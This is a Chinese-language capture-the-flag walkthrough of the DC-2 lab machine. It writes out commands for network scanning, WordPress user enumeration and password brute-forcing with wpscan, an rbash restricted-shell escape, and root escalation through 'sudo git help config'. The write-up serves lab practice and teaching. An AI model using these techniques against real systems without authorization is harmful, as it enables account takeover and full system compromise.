DC系列共9个靶场,本次来试玩一下DC-2,共有5个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
传统艺能,kali扫一扫,发现目标ip:192.168.31.198

1
arp-scan -l

nmap扫一把

1
nmap -sV -A -p- 192.168.31.198

发现开放了80(http)和7744(ssh)两个端口

访问80端口看一下他的网页情况
访问后发现跳转至dc-2,且不显示内容,因此尝试修改hosts文件(win和kali都需要),最后一行添加如下字段:

1
192.168.31.198 dc-2

然后直接访问dc-2就能打开网页了,发现是wordpress的CMS,并且在首页就能找到flag1

flag1提示我们常用的密码字典或许无法破解,让我们使用cewl,登陆其中一个账户就可以找到下一个flag。

cewl利用爬虫技术对网站作者的写作习惯进行分析并得出可能的密码字典

1
cewl dc-2 > pass.txt

将分析得到的密码写入到pass.txt
得到了密码,我们还需要用户名,因为是wordpress的CMS,这里用到wpscan

1
wpscan --url dc-2 -e u


找到三个用户名,admin,jerry,tom,然后将它们写入一个用户名字典

1
2
3
echo admin > username.txt
echo jerry >> username.txt
echo tom >> username.txt

有了用户名和密码字典就可以进行破解了,我们还是使用wpscan(当然也可以用burp爆破)

1
wpscan --url dc-2 -U username.txt -P pass.txt


话说我们有了账户和密码但去哪里登陆呢?
尝试使用御剑进行后台扫描或者dirsearch,都能扫出来后台地址

1
dc-2/wp-login.php

登陆后发现flag2


本来想通过修改网页源码实现反弹shell控制的,但是jerry和tom都不是管理员,没有权限。无奈,想起还有一个一直被我们遗忘的7744端口。我们尝试用破解出来的后台密码连接ssh,最终只有tom可以登录。

但是发现连cat,whoami都不能用,幸好还能用ls。看一下具体自己能执行什么指令

1
ls usr/bin


居然只能用ls less scp vi这四个命令,大无语事件。
ls看一下当前目录,有flag3,用vi打开

1
vi flag3.txt


这句话告诉我们jerry的权限比tom更高,要我们提权至jerry
但是我们现在使用的是阉割版的shell,有一种方式能绕过。

1
2
3
4
BASH_CMDS[a]=/bin/sh    	  #把/bin/sh给a变量
a #执行a进入/bin/sh
export PATH=$PATH:/bin/    #将/bin 作为PATH环境变量导出
export PATH=$PATH:/sbin:/bin #将/usr/bin作为PATH环境变量导出

然后就能成功使用su切换至jerry了

进入jerry的home就能看到lflag4了

最后一个flag需要用到git提权

1
sudo -l		#看一下可以以root权限执行什么命令


果然,git可以不需要密码使用root执行

1
sudo git help config


在这个界面下就已经是root权限了,执行命令时需要在前面加上” ! ‘’

1
!whoami

当然也可以直接切换至root

1
!sudo su

在root目录发现final-flag